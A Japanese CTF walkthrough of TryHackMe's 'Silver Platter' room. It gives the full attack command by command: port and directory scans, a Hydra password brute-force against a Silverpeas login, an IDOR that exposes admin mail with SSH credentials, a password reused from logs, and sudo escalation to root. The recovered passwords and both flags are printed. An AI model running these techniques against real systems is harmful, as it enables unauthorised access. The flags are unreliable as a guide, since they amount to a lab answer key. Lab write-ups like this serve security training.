【TryHackMe】Silver Platter：Walkthrough

# 概要

TryHackMe「Silver Platter」のWalkthroughです。

https://tryhackme.com/r/room/silverplatter

# Task1

## **Q1**.*What is the user flag?*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A -p- 10.10.215.198 -oN nmap_result
PORT      STATE    SERVICE    VERSION
22/tcp    open     ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1b:1c:87:8a:fe:34:16:c9:f7:82:37:2b:10:8f:8b:f1 (ECDSA)
|_  256 26:6d:17:ed:83:9e:4f:2d:f6:cd:53:17:c8:80:3d:09 (ED25519)
80/tcp    open     http       nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Hack Smarter Security
8080/tcp  open     http-proxy
|_http-title: Error
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Connection: close
|     Content-Length: 74
|     Content-Type: text/html
|     Date: Sun, 19 Jan 2025 06:55:37 GMT
|     <html><head><title>Error</title></head><body>404 - Not Found</body></html>
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 404 Not Found
|     Connection: close
|     Content-Length: 74
|     Content-Type: text/html
|     Date: Sun, 19 Jan 2025 06:55:36 GMT
|_    <html><head><title>Error</title></head><body>404 - Not Found</body></html>
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.9p1|
|80|http|nginx 1.18.0|
|8080|http-proxy||

`80`番ポートのディレクトリスキャンをします。

```
$ dirsearch -u http://10.10.145.239
[06:26:08] 301 -  178B  - /assets  ->  http://10.10.145.239/assets/
[06:26:08] 403 -  564B  - /assets/
[06:26:35] 301 -  178B  - /images  ->  http://10.10.145.239/images/
[06:26:35] 403 -  564B  - /images/
[06:26:41] 200 -   17KB - /LICENSE.txt
[06:27:02] 200 -  771B  - /README.txt
```

`8080`番ポートのディレクトリスキャンをします。

```
$ dirsearch -u http://10.10.145.239:8080
[06:28:51] 302 -    0B  - /console/login/LoginForm.jsp  ->  /noredirect.html
[06:28:51] 302 -    0B  - /console  ->  /noredirect.html
[06:28:51] 302 -    0B  - /console/base/config.json  ->  /noredirect.html   
[06:28:51] 302 -    0B  - /console/j_security_check  ->  /noredirect.html   
[06:28:51] 302 -    0B  - /console/payments/config.json  ->  /noredirect.html
[06:28:51] 302 -    0B  - /console/  ->  /noredirect.html
[06:30:00] 302 -    0B  - /website  ->  http://10.10.145.239:8080/website/
```

`80`ポートのCONTACTページにアクセスすると、`Silverpeas`,`scr1ptkiddy`というワードが得られました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/93b57975-7658-1483-5a51-cc087208e8bf.png)

`Silverpeas`というツールが使用されている可能性が高いです。

https://www.silverpeas.org/

ドキュメントを確認すると`http://localhost:8000/silverpeas`でアクセスできるようです。

https://www.silverpeas.org/installation/installationV6.html

また、デフォルトの認証情報が`SilverAdmin/SilverAdmin`だと分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6d89e5bb-7e78-0fea-a1d1-81f3838d57f0.png)

`8080`ポートの`/silverpeas`にアクセスすると

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/56633f60-fc3a-52dd-0935-d4bb27010417.png)

しかし、得られた情報ではログインに失敗しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/019f3bf0-9503-979f-8cd2-bcbc0036ded1.png)

ユーザー名に`scr1ptkiddy`が使用されている可能性が高いので、Hydraでパスワードを探します。

使用するパスワードリストをCewlで作成します。

```
$ cewl -w cewl-wordlist.txt http://10.10.145.239   
CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
```

Hydraを実行し、パスワードを特定できました。

```
$ hydra -f -l scr1ptkiddy -P cewl-wordlist.txt 10.10.145.239 -s 8080 http-post-form "/silverpeas/AuthenticationServlet:Login=^USER^&Password=^PASS^&DomainId=0:F=Login or password incorrect" -t 40

[8080][http-post-form] host: 10.10.145.239   login: scr1ptkiddy   password: adipiscing
```

得られた認証情報でログインに成功しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/78ab719e-f15d-ce2e-da12-acd4c331f75d.png)

`Personal Workspace`の`My notifications`からメールを確認する事が出来ます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ef2a9963-b331-6f85-2387-1c0b956e17bd.png)

リクエスト内容を見ると`ID=`で参照しているようです。
IDの値を変更することで他のメールも見る事ができるかもしれません。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/965f10d3-e9bb-4f2c-0955-f80859eec78a.png)

`ID=6`とすることで`Administrateur`からのメールを閲覧でき、SSHの認証情報を得られました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6d56f278-53d0-e857-9da3-c9e566e0607a.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e21c26ce-cad0-9021-c71c-c5e2fdf8b1e9.png)

`Username: tim`,`Password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol`でSSH接続に成功しました。

```
$ ssh tim@10.10.145.239
tim@silver-platter:~$
```

`/home/tim/user.txt`からユーザーフラグを入手できました。

```
$ cat user.txt 
THM{c4ca4238a0b923820dcc509a6f75849b}
```

**A**.**THM{c4ca4238a0b923820dcc509a6f75849b}**

## **Q2**.*What is the root flag?*

他に`tyler`ユーザーが居ます。

```
$ ls -la /home
total 16
drwxr-xr-x  4 root  root  4096 Dec 13  2023 .
drwxr-xr-x 19 root  root  4096 Dec 12  2023 ..
dr-xr-xr-x  2 root  root  4096 Dec 13  2023 tim
drwxr-x---  5 tyler tyler 4096 Dec 13  2023 tyler
```

`tim`は`adm`グループに所属しています。

```
$ id
uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm)
```

よって`/var/log`配下の閲覧権限があり、ログから認証情報を得られるかもしれません。

https://scrapbox.io/rex/Linux%E3%81%AB%E3%81%8A%E3%81%91%E3%82%8Badm_group

`/var/log/auth.log.2`のログからpostgresqlのDockerを動かすコマンドを発見しました。
ここで使用されているパスワードを流用できるかもしれません。

```
$ cat auth.log.2 | grep tyler
Dec 13 15:40:33 silver-platter sudo:    tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name postgresql -d -e POSTGRES_PASSWORD=_Zd_zx7N823/ -v postgresql-data:/var/lib/postgresql/data postgres:12.3
```

`Password: _Zd_zx7N823/`で`tyler`アカウントに昇格出来ました。

```
$ su tyler
Password: 
tyler@silver-platter:/var/log$
```

`sudo -l`で確認すると全コマンドが許可されています。

```
$ sudo -l
[sudo] password for tyler: 
Matching Defaults entries for tyler on silver-platter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User tyler may run the following commands on silver-platter:
    (ALL : ALL) ALL
```

root権限を取得できました。

```
$ sudo /bin/bash
root@silver-platter:/var/log# whoami
root
```

`/root/root.txt`からルートフラグを入手できました。

```
# cat root.txt 
THM{098f6bcd4621d373cade4e832627b4f6}
```

**A**.**THM{098f6bcd4621d373cade4e832627b4f6}**